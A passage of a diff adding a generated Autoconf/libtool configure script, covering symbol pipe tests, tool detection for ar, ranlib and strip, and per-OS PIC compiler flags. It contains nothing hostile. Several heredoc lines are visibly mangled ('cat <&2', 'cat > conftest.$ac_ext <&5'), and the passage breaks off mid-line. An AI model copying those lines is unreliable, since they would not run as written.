to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Now try to grab the symbols. + nlist=conftest.nm + if { (eval echo "$as_me:$LINENO: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\"") >&5 + (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if grep ' nm_test_var$' "$nlist" >/dev/null; then + if grep ' nm_test_func$' "$nlist" >/dev/null; then + cat < conftest.$ac_ext +#ifdef __cplusplus +extern "C" { +#endif + +EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext' + + cat <> conftest.$ac_ext +#if defined (__STDC__) && __STDC__ +# define lt_ptr_t void * +#else +# define lt_ptr_t char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +const struct { + const char *name; + lt_ptr_t address; +} +lt_preloaded_symbols[] = +{ +EOF + $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext + cat <<\EOF >> conftest.$ac_ext + {0, (lt_ptr_t) 0} +}; + +#ifdef __cplusplus +} +#endif +EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_save_LIBS="$LIBS" + lt_save_CFLAGS="$CFLAGS" + LIBS="conftstm.$ac_objext" + CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag" + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext}; then + pipe_works=yes + fi + LIBS="$lt_save_LIBS" + CFLAGS="$lt_save_CFLAGS" + else + echo "cannot find nm_test_func in $nlist" >&5 + fi + else + echo "cannot find nm_test_var in $nlist" >&5 + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 + fi + else + echo "$progname: failed program was:" >&5 + cat conftest.$ac_ext >&5 + fi + rm -f conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test "$pipe_works" = yes; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done + +fi + +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + { echo "$as_me:$LINENO: result: failed" >&5 +echo "${ECHO_T}failed" >&6; } +else + { echo "$as_me:$LINENO: result: ok" >&5 +echo "${ECHO_T}ok" >&6; } +fi + +{ echo "$as_me:$LINENO: checking for objdir" >&5 +echo $ECHO_N "checking for objdir... $ECHO_C" >&6; } +if test "${lt_cv_objdir+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + rm -f .libs 2>/dev/null +mkdir .libs 2>/dev/null +if test -d .libs; then + lt_cv_objdir=.libs +else + # MS-DOS does not allow filenames that begin with a dot. + lt_cv_objdir=_libs +fi +rmdir .libs 2>/dev/null +fi +{ echo "$as_me:$LINENO: result: $lt_cv_objdir" >&5 +echo "${ECHO_T}$lt_cv_objdir" >&6; } +objdir=$lt_cv_objdir + + + + + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='sed -e s/^X//' +sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g' + +# Same as above, but do not quote variable references. +double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g' + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' + +# Constants: +rm="rm -f" + +# Global variables: +default_ofile=libtool +can_build_shared=yes + +# All known linkers require a `.a' archive for static linking (except M$VC, +# which needs '.lib'). +libext=a +ltmain="$ac_aux_dir/ltmain.sh" +ofile="$default_ofile" +with_gnu_ld="$lt_cv_prog_gnu_ld" + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args. +set dummy ${ac_tool_prefix}ar; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_AR+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_AR="${ac_tool_prefix}ar" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +AR=$ac_cv_prog_AR +if test -n "$AR"; then + { echo "$as_me:$LINENO: result: $AR" >&5 +echo "${ECHO_T}$AR" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_AR"; then + ac_ct_AR=$AR + # Extract the first word of "ar", so it can be a program name with args. +set dummy ar; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_AR+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_AR"; then + ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_AR="ar" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_AR=$ac_cv_prog_ac_ct_AR +if test -n "$ac_ct_AR"; then + { echo "$as_me:$LINENO: result: $ac_ct_AR" >&5 +echo "${ECHO_T}$ac_ct_AR" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_AR" = x; then + AR="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + AR=$ac_ct_AR + fi +else + AR="$ac_cv_prog_AR" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { echo "$as_me:$LINENO: result: $RANLIB" >&5 +echo "${ECHO_T}$RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 +echo "${ECHO_T}$ac_ct_RANLIB" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { echo "$as_me:$LINENO: result: $STRIP" >&5 +echo "${ECHO_T}$STRIP" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_STRIP="strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 +echo "${ECHO_T}$ac_ct_STRIP" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + + +old_CC="$CC" +old_CFLAGS="$CFLAGS" + +# Set sane defaults for various variables +test -z "$AR" && AR=ar +test -z "$AR_FLAGS" && AR_FLAGS=cru +test -z "$AS" && AS=as +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$DLLTOOL" && DLLTOOL=dlltool +test -z "$LD" && LD=ld +test -z "$LN_S" && LN_S="ln -s" +test -z "$MAGIC_CMD" && MAGIC_CMD=file +test -z "$NM" && NM=nm +test -z "$SED" && SED=sed +test -z "$OBJDUMP" && OBJDUMP=objdump +test -z "$RANLIB" && RANLIB=: +test -z "$STRIP" && STRIP=: +test -z "$ac_objext" && ac_objext=o + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + openbsd*) + old_postinstall_cmds="\$RANLIB -t \$oldlib~$old_postinstall_cmds" + ;; + *) + old_postinstall_cmds="\$RANLIB \$oldlib~$old_postinstall_cmds" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib" +fi + +cc_basename=`$echo X"$compiler" | $Xsed -e 's%^.*/%%'` + +# Only perform the check for file, if the check method requires it +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + { echo "$as_me:$LINENO: checking for ${ac_tool_prefix}file" >&5 +echo $ECHO_N "checking for ${ac_tool_prefix}file... $ECHO_C" >&6; } +if test "${lt_cv_path_MAGIC_CMD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/${ac_tool_prefix}file; then + lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + { echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 +echo "${ECHO_T}$MAGIC_CMD" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + +if test -z "$lt_cv_path_MAGIC_CMD"; then + if test -n "$ac_tool_prefix"; then + { echo "$as_me:$LINENO: checking for file" >&5 +echo $ECHO_N "checking for file... $ECHO_C" >&6; } +if test "${lt_cv_path_MAGIC_CMD+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + case $MAGIC_CMD in +[\\/*] | ?:[\\/]*) + lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path. + ;; +*) + lt_save_MAGIC_CMD="$MAGIC_CMD" + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + ac_dummy="/usr/bin$PATH_SEPARATOR$PATH" + for ac_dir in $ac_dummy; do + IFS="$lt_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/file; then + lt_cv_path_MAGIC_CMD="$ac_dir/file" + if test -n "$file_magic_test_file"; then + case $deplibs_check_method in + "file_magic "*) + file_magic_regex="`expr \"$deplibs_check_method\" : \"file_magic \(.*\)\"`" + MAGIC_CMD="$lt_cv_path_MAGIC_CMD" + if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null | + $EGREP "$file_magic_regex" > /dev/null; then + : + else + cat <&2 + +*** Warning: the command libtool uses to detect shared libraries, +*** $file_magic_cmd, produces output that libtool cannot recognize. +*** The result is that libtool may fail to recognize shared libraries +*** as such. This will affect the creation of libtool libraries that +*** depend on shared libraries, but programs linked with such libtool +*** libraries will work regardless of this problem. Nevertheless, you +*** may want to report the problem to your system manager and/or to +*** bug-libtool@gnu.org + +EOF + fi ;; + esac + fi + break + fi + done + IFS="$lt_save_ifs" + MAGIC_CMD="$lt_save_MAGIC_CMD" + ;; +esac +fi + +MAGIC_CMD="$lt_cv_path_MAGIC_CMD" +if test -n "$MAGIC_CMD"; then + { echo "$as_me:$LINENO: result: $MAGIC_CMD" >&5 +echo "${ECHO_T}$MAGIC_CMD" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + else + MAGIC_CMD=: + fi +fi + + fi + ;; +esac + +enable_dlopen=yes +enable_win32_dll=no + +# Check whether --enable-libtool-lock was given. +if test "${enable_libtool_lock+set}" = set; then + enableval=$enable_libtool_lock; +fi + +test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes + + +# Check whether --with-pic was given. +if test "${with_pic+set}" = set; then + withval=$with_pic; pic_mode="$withval" +else + pic_mode=default +fi + +test -z "$pic_mode" && pic_mode=default + +# Use C for the default configuration in the libtool script +tagname= +lt_save_CC="$CC" +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +# Source file extension for C test sources. +ac_ext=c + +# Object file extension for compiled C test sources. +objext=o +objext=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="int some_variable = 0;\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='int main(){return(0);}\n' + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# +# Check for any special shared library compilation flags. +# +lt_prog_cc_shlib= +if test "$GCC" = no; then + case $host_os in + sco3.2v5*) + lt_prog_cc_shlib='-belf' + ;; + esac +fi +if test -n "$lt_prog_cc_shlib"; then + { echo "$as_me:$LINENO: WARNING: \`$CC' requires \`$lt_prog_cc_shlib' to build shared libraries" >&5 +echo "$as_me: WARNING: \`$CC' requires \`$lt_prog_cc_shlib' to build shared libraries" >&2;} + if echo "$old_CC $old_CFLAGS " | grep "[ ]$lt_prog_cc_shlib[ ]" >/dev/null; then : + else + { echo "$as_me:$LINENO: WARNING: add \`$lt_prog_cc_shlib' to the CC or CFLAGS env variable and reconfigure" >&5 +echo "$as_me: WARNING: add \`$lt_prog_cc_shlib' to the CC or CFLAGS env variable and reconfigure" >&2;} + lt_cv_prog_cc_can_build_shared=no + fi +fi + + +# +# Check to make sure the static flag actually works. +# +{ echo "$as_me:$LINENO: checking if $compiler static flag $lt_prog_compiler_static works" >&5 +echo $ECHO_N "checking if $compiler static flag $lt_prog_compiler_static works... $ECHO_C" >&6; } +if test "${lt_prog_compiler_static_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_static_works=no + save_LDFLAGS="$LDFLAGS" + LDFLAGS="$LDFLAGS $lt_prog_compiler_static" + printf "$lt_simple_link_test_code" > conftest.$ac_ext + if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test -s conftest.err; then + # Append any errors to the config.log. + cat conftest.err 1>&5 + else + lt_prog_compiler_static_works=yes + fi + fi + $rm conftest* + LDFLAGS="$save_LDFLAGS" + +fi +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_static_works" >&5 +echo "${ECHO_T}$lt_prog_compiler_static_works" >&6; } + +if test x"$lt_prog_compiler_static_works" = xyes; then + : +else + lt_prog_compiler_static= +fi + + + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... + +lt_prog_compiler_no_builtin_flag= + +if test "$GCC" = yes; then + lt_prog_compiler_no_builtin_flag=' -fno-builtin' + + +{ echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:6925: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:6929: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6; } + +if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then + lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions" +else + : +fi + +fi + +lt_prog_compiler_wl= +lt_prog_compiler_pic= +lt_prog_compiler_static= + +{ echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6; } + + if test "$GCC" = yes; then + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_static='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static='-Bstatic' + else + lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic='-qnocommon' + lt_prog_compiler_wl='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-static' + ;; + ccc*) + lt_prog_compiler_wl='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic='-Kpic' + lt_prog_compiler_static='-dn' + ;; + + solaris*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl='-Qoption ld ' + lt_prog_compiler_pic='-PIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl='-Wl,' + lt_prog_compiler_pic='-KPIC' + lt_prog_compiler_static='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic='-Kconform_pic' + lt_prog_compiler_static='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic='-pic' + lt_prog_compiler_static='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic" >&6; } + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic"; then + +{ echo "$as_me:$LINENO: checking if $compiler 